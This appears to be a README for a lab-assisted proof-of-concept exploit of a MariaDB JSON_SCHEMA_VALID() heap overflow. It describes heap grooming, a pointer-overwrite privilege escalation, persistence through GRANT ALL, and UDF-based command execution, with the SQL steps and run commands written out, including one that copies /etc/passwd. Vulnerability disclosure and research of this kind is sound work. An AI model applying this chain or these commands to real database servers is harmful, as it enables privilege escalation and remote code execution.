CVE-2026-32710

Heap buffer overflow in MariaDB JSON_SCHEMA_VALID() → persistent privilege escalation → UDF RCE

Lab-assisted. The script uses Docker / root introspection to read /proc/1/mem and discover heap layout per connection. The actual exploit chain is pure SQL over TCP. A weaponized exploit would need an info-leak primitive to replace the memory introspection step.

Before

lowpriv can only SELECT on the test database. System tables are denied.

Exploit

A single Python script performs heap grooming, a two-hop arbitrary write through user-variable metadata, persists the escalation via GRANT ALL, and achieves code execution through a UDF:

python3 exploit.py

After

lowpriv now has ALL PRIVILEGES WITH GRANT OPTION, can read system tables, read/write arbitrary files, and execute OS commands as the mysql user. The grant survives server restart.

Stages

Stage 1: Privilege Escalation

┌──────────────────────────────────────────────────────────────────┐
│  SELECT  json_schema_valid(overflow),                           │
│          @ccc...c := hop1,                                      │
│          @aaa...a := hop2                                       │
└──────────────────────────────────────────────────────────────────┘
         │                    │                   │
         ▼                    ▼                   ▼
   ┌───────────┐     ┌──────────────┐    ┌──────────────┐
   │ 192-byte  │     │ Write to @c  │    │ Write to @a  │
   │ overflow   │     │ through the  │    │ through the  │
   │ corrupts   │     │ corrupted    │    │ redirected   │
   │ entry_c's  │     │ pointer:     │    │ pointer:     │
   │ value ptr  │     │              │    │              │
   │ (2-byte    │     │ entry_a →    │    │ master_access│
   │  partial   │     │   .value =   │    │   = 0xFFFF.. │
   │  overwrite)│     │   &master_   │    │ (ALL PRIVS)  │
   │            │     │   access     │    │              │
   └───────────┘     │   .length= 9 │    └──────────────┘
                      └──────────────┘

1. Heap groom — 100+ user variables exhaust tcache, forcing Entry_a → Value_a → Entry_b → Value_b → Entry_c → Value_c to be allocated consecutively.

2. Overflow — JSON_SCHEMA_VALID triggers a 192-byte strncpy past the 128-byte buffer, corrupting entry_c→value (2-byte partial pointer overwrite within the same 64 KB page) to point at entry_a + 32.

3. Hop 1 — Assigning to @c writes 126 bytes through the corrupted pointer into entry_a's metadata, setting:

   • entry_a→value = &Security_context::master_access
   • entry_a→length = 9

4. Hop 2 — Assigning to @a writes 8 bytes of 0xFF through the redirected entry_a→value pointer → .

Stage 2: UDF RCE

After persistence, the server is restarted (crash recovery), and the escalated privileges are used to install a UDF shared library:

1. LOAD_FILE('/tmp/raptor_udf.so') INTO DUMPFILE '/usr/lib/mysql/plugin/raptor.so'
2. CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'raptor.so'
3. SELECT sys_exec('id > /tmp/pwned')

Key constraints solved

Lab setup

# 1. Build and start the container
./setup.sh

# 2. Disable ASLR on the Docker host
sudo sh -c 'echo 0 > /proc/sys/kernel/randomize_va_space'

# 3. Run the exploit (auto-calibrates per attempt)
python3 exploit.py

# 4. Custom command
python3 exploit.py --cmd 'cat /etc/passwd > /tmp/out'

Requirements

• Docker (x86_64)
• Python 3
• ASLR disabled on the Docker host (/proc/sys/kernel/randomize_va_space = 0)
• Container runs with --cap-add SYS_PTRACE (for /proc/1/mem access)

Options

--calibrate      Measure heap layout constants and exit
--cmd CMD        Command for Stage 2 UDF execution (default: id > /tmp/pwned)
--stage1-only    Run privilege escalation only, skip UDF RCE
--attempts N     Max stage 1 attempts (default: 5)
--host HOST      MariaDB host (default: 127.0.0.1)
--port PORT      MariaDB port (default: 3306)

What the lab assistance provides

The exploit script shells into the container as root to read /proc/1/mem. This is used for two things:

1. Heap layout discovery — locating the three sentinel user_var_entry structs and verifying they are adjacent (entry_a+32 within same 64KB page as entry_c→value for the 2-byte partial overwrite).
2. Security_context address — finding the master_access field to target with the two-hop write.

The scan runs inline for each attempt because heap layout varies between connections (even with ASLR=0) due to MariaDB's thread pool assigning different arenas. The actual exploit chain — overflow + hop1 + hop2 — is pure SQL executed over a TCP connection.

In a real-world scenario, an attacker would need a separate info-leak vulnerability (or a side-channel) to obtain these addresses.

Files